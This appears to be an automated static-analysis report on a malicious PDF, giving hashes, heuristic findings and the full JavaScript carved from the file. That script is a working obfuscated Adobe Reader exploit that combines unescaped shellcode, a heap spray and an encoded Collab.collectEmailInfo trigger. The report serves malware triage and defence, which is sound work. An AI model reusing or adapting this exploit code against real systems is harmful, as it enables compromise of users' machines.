Malicious PDF — malware analysis report

Static analysis result for SHA-256 97b543ee4869f80f…

MALICIOUS

PDF

53.9 KB Authoring application: Acrobat PDFMaker 7.0 for Word (via Acrobat Distiller 7.0 (Windows)) First seen: 2026-05-10
MD5: 7e78f17c639000d8f78ad2f12e13586e SHA-1: acddd6b61d30fef49a8f5483b94fc69a87e1b950 SHA-256: 97b543ee4869f80f816ff1eefe23b334f3e4500f55f7cecaa1e73e02075567a8
110 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 0.9993

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/pdfx/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/photoshop/1.0/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0019_000.js pdf-javascript-stream PDF /JS object 19 at offset 0x509 2437 bytes
SHA-256: 494b591b51e942958b15e512cf903f9b2de2a2adb72770217618ec9f4eabbcf5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var sc;
var ucd=unescape
for(i=0;i<20000;i++)
   { sc=sc+0x90;}
   function rep(count,what){
          var v = "";
          while (--count >= 0) v += what;
          return v;}
var sc=ucd("%u3030%u3030%u11EB%u5BFC%u334B%u66C9%ub0B9%u8001%u0B34%uE2f9"+
"\x25\x75EBFA\x25\x75E805\x25\x75FFEB\x25\x75FFFF"+
"%uF911%uF9F9%uA3F9%u72AC%u7815%u9D15%uF9FD%u72F9%u110D%uF869%uF9F9%u0172%u1611%uF9F9%u70F9%u06FF"+
"%u91CF%u6254%u2684%uED11%uF9F8%u70F9%uF5BF%uCF06%uD091%u3FEB%u11AF%uF8FC%uF9F9%uBF70%u06E9%u91CF"+
"%uC5A0%u82FE%u0F11%uF9F9%u70F9%uEDBF%uCF06%u8791%u1B21%u118A%uF91E%uF9F9%uBF70%uCACD%u1230%u72FA"+
"%uC5B7%u387A%uA8FD%uF993%u06A8%uF5AF%u7AA0%u0601%u098D%uB9C4%uF9E6%u8FF9%u7010%uC5B7%uF993%uF993"+
"%uF993%uFB93%uF993%u8F06%u06C5%uE9AF%uBF70%u7ABD%uF901%u328D%uF993%uF993%uF993%uFD93%u8F06%u06BD"+
"%uEDAF%uBF70%u7AB1%uF901%u4C8D%uC178%uA9DC%uBFBD%uB772%u8CC5%u7854%uF941%uF9EB%uA9F9%uA99D%u8CBD"+
"%u7858%uFD41%uF9EB%u16F9%u1307%u8C57%u406C%uFFF9%uF9F9%u1578%uF1F9%uF9F9%uAEAF%u0972%u3F78%uEBE9"+
"%uF9F9%u3D72%u397A%u72F1%u0A01%u405D%uFFF9%uF9F9%uB0B0%uB0B0%uCD78%u17F1%u0707%u7C16%u8C30%uA608"+
"%u06A7%uC58F%u8F06%u06B1%uBD8F%u1906%uAFAC%u589D%uF9C9%uF9F9%u397C%uEA81%u72C7%uF5B9%u72C7%uE589"+
"%u72C7%uF1A7%uC754%u9172%u12F1%uC7F4%uB972%uC7CD%u5172%uF941%uF9F9%u22CA%u3C72%uA4A7%uFD3B%uAAF9"+
"%uAFAC%uCFAE%u9572%uE1DD%u72CF%uC5BC%u72CF%uFCAD%uFA81%uC72C%uB372%uC7E1%uA372%uFAD9%u1A24%uB0C5"+
"%u72C7%u72CD%u0CFA%u06CA%uCA05%u5539%u3DC3%uFE8D%u3638%uFAF4%u1201%uCF0B%u85C2%uEDDD%u268C%u3B72"+
"%u397A%uC7DD%uE172%u24FA%uC79F%uF572%uC7B2%uA372%uFAE5%uC724%uFD72%uFA72%u123C%uCAFB%u7239%uA62C"+
"%uA4A7%u3BA2%uF9F1%uF911%uF9F9%uA1F9%u397A%u3AFC");
function start() 
{
if (app.viewerVersion >= 7.0)
{
plin =rep(1124,ucd("%u0b0b%u0028%u06eb%u06eb")) + ucd("%u0b0b%u0028%u0aeb%u0aeb") + ucd("%u4346%u4a4b") + rep(122,ucd("%u0b0b%u0028%u06eb%u06eb")) + sc  + rep(1256,ucd("%u4a4b%u4748"));
} 
else 
{
ef6 =  ucd("%uf6eb%uf6eb") + ucd("%u0b0b%u0019");
pplin = rep(80,ucd("\x25\x754141\x25\x754141")) + sc  + rep(80,ucd("\x25\x754241\x25\x754142"))+ ucd("\x25\x75f7e9\x25\x75fff9")+ucd("\x25\x75ffff\x25\x75ffff");
while ((plin.length % 8) != 0) 
plin = ucd("\x25\x754141") + plin;
plin += rep(2626,ef6);
}
if (app.viewerVersion >= 6.0)//gakghfvlgfal
{
 Collab["\x63\x6fll\x65\x63\x74\x45\x6d\x61\x69\x6c\x49\x6e\x66\x6f"]({subj:0,msg:plin});
}
}
var shaft = app.setTimeOut("start()",1500);

Open this report in the interactive analyzer, or submit your own file for analysis.